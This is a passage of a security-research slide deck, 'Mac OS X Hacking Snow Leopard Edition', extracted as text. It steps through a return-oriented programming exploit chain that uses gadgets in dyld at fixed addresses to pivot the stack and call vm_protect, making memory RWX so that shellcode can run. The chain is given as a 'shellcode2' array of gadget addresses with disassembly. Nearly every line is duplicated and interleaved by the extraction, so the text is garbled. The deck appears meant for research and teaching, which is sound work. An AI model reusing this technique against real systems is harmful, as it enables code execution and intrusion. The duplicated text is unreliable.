0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

call memcpy, pivot to our known location codecall memcpy, pivot to our known location code

Page 70: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc1018b0x00007fff5fc1018b mov rdx,r120x00007fff5fc1018emov rdx,r120x00007fff5fc1018e mov rsi,rbx0x00007fff5fc10191mov rsi,rbx0x00007fff5fc10191 mov rdi,rax0x00007fff5fc10194mov rdi,rax0x00007fff5fc10194 call 0x7fff5fc234f0 <__dyld_memcpy>0x00007fff5fc10199call 0x7fff5fc234f0 <__dyld_memcpy>0x00007fff5fc10199 mov rax,r130x00007fff5fc1019cmov rax,r130x00007fff5fc1019c mov rbx,QWORD PTR [rbp-0x18]0x00007fff5fc101a0mov rbx,QWORD PTR [rbp-0x18]0x00007fff5fc101a0 mov r12,QWORD mov r12,QWORD PTR [rbp-0x10]0x00007fff5fc101a4PTR [rbp-0x10]0x00007fff5fc101a4 mov r13,QWORD PTR [rbp-0x8]0x00007fff5fc101a8mov r13,QWORD PTR [rbp-0x8]0x00007fff5fc101a8 leave 0x00007fff5fc101a9leave 0x00007fff5fc101a9 ret ret

memcpy(0x7fff5fc50000, buf, memcpy(0x7fff5fc50000, buf, 0x200)0x200)

Pivot to hardcoded, known addressPivot to hardcoded, known addressleave sets rsp = rbp (0x7fff5fc50098)leave sets rsp = rbp (0x7fff5fc50098)

Page 71: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8,0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here}; 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

Now we know the value of rsp, our code at known Now we know the value of rsp, our code at known locationlocation

Set rdi in order to set raxSet rdi in order to set rax

Page 72: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdc0x00007fff5fc24cdc pop rdi0x00007fff5fc24cddpop rdi0x00007fff5fc24cdd ret ret rdi set to 0x1001rdi set to 0x1001

Page 73: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001,0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here}; 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

set rax = rdi - 1set rax = rdi - 1

Page 74: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc1ddc00x00007fff5fc1ddc0 lea rax,[rdi-0x1]0x00007fff5fc1ddc4lea rax,[rdi-0x1]0x00007fff5fc1ddc4 ret ret rax = 0x1000rax = 0x1000

size to vm_protectsize to vm_protect

Page 75: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip150x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here}; 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

set rbx, r12set rbx, r12

Page 76: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc01c1e0x00007fff5fc01c1e pop rbx0x00007fff5fc01c1fpop rbx0x00007fff5fc01c1f pop r120x00007fff5fc01c21pop r120x00007fff5fc01c21 pop r130x00007fff5fc01c23pop r130x00007fff5fc01c23 pop r140x00007fff5fc01c25pop r140x00007fff5fc01c25 pop r150x00007fff5fc01c27pop r150x00007fff5fc01c27 leave 0x00007fff5fc01c28leave 0x00007fff5fc01c28 ret ret

rbx = 0x7 (RWX)rbx = 0x7 (RWX)r12 points has property thatr12 points has property that

[r12+0xfa]=0[r12+0xfa]=0Leave is okay, because we Leave is okay, because we

set rbp appropriatelyset rbp appropriately

Page 77: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110,0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here}; 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

get vm_protect called (within get vm_protect called (within ImageLoaderMach::segProtect)ImageLoaderMach::segProtect)

Page 78: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc0d34a0x00007fff5fc0d34a mov r8d,ebx0x00007fff5fc0d34dmov r8d,ebx0x00007fff5fc0d34d xor ecx,ecx0x00007fff5fc0d34fxor ecx,ecx0x00007fff5fc0d34f mov rdx,rax0x00007fff5fc0d352mov rdx,rax0x00007fff5fc0d352 mov rsi,QWORD PTR [rbp-0x40]0x00007fff5fc0d356mov rsi,QWORD PTR [rbp-0x40]0x00007fff5fc0d356 lea rax,[rip+0x3280f] 0x00007fff5fc0d35dlea rax,[rip+0x3280f] 0x00007fff5fc0d35d mov edi,DWORD PTR [rax]0x00007fff5fc0d35fmov edi,DWORD PTR [rax]0x00007fff5fc0d35f call call 0x7fff5fc1d122 <__dyld_vm_protect>0x00007fff5fc0d3640x7fff5fc1d122 <__dyld_vm_protect>0x00007fff5fc0d364 test eax,eax0x00007fff5fc0d366test eax,eax0x00007fff5fc0d366 je 0x7fff5fc0d38d 0x00007fff5fc0d38dje 0x7fff5fc0d38d 0x00007fff5fc0d38d cmp BYTE PTR [r12+0xfa],0x00x00007fff5fc0d396cmp BYTE PTR [r12+0xfa],0x00x00007fff5fc0d396 je 0x7fff5fc0d406 0x00007fff5fc0d406je 0x7fff5fc0d406 0x00007fff5fc0d406 mov rbx,QWORD PTR [rbp-0x28]0x00007fff5fc0d40amov rbx,QWORD PTR [rbp-0x28]0x00007fff5fc0d40a mov mov r12,QWORD PTR [rbp-0x20]0x00007fff5fc0d40er12,QWORD PTR [rbp-0x20]0x00007fff5fc0d40e mov r13,QWORD PTR [rbp-0x18]0x00007fff5fc0d412mov r13,QWORD PTR [rbp-0x18]0x00007fff5fc0d412 mov r14,QWORD PTR [rbp-0x10]0x00007fff5fc0d416mov r14,QWORD PTR [rbp-0x10]0x00007fff5fc0d416 mov r15,QWORD PTR [rbp-0x8]0x00007fff5fc0d41amov r15,QWORD PTR [rbp-0x8]0x00007fff5fc0d41a leave 0x00007fff5fc0d41bleave 0x00007fff5fc0d41b ret ret

kern_return_t vm_protect (vm_task_t target_task, vm_address_t address, vm_size_t size, kern_return_t vm_protect (vm_task_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection)boolean_t set_maximum, vm_prot_t new_protection)

Sets target_task (rdi) for us (mach_task_self)Sets target_task (rdi) for us (mach_task_self)address (rsi) comes from a local variable we address (rsi) comes from a local variable we

controlcontrolsize (rdx) we loaded into raxsize (rdx) we loaded into rax

set_maximum (rcx) is set to 0 in this codeset_maximum (rcx) is set to 0 in this code new_protection (r8) we loaded into rbxnew_protection (r8) we loaded into rbx

Page 79: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034,rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here}; 0xfeeb909090909090 // Put shellcode here};

rsprsp

Execute the shellcodeExecute the shellcode(begins at 0x00007fff5fc50120)(begins at 0x00007fff5fc50120)

Page 80: Mac OS X Hacking Snow Leopard Edition

ConclusionsConclusions

The biggest change between Leopard and The biggest change between Leopard and Snow Leopard was that the heap was made Snow Leopard was that the heap was made non-executablenon-executable

64-bit processes and 32-bit plugins64-bit processes and 32-bit plugins

ASLR did not changeASLR did not change

ROP is possible exclusively using dyld which is ROP is possible exclusively using dyld which is at a fixed addressat a fixed address

Page 81: Mac OS X Hacking Snow Leopard Edition

Questions?Questions?

Contact me at Contact me at [email protected]@securityevaluators.com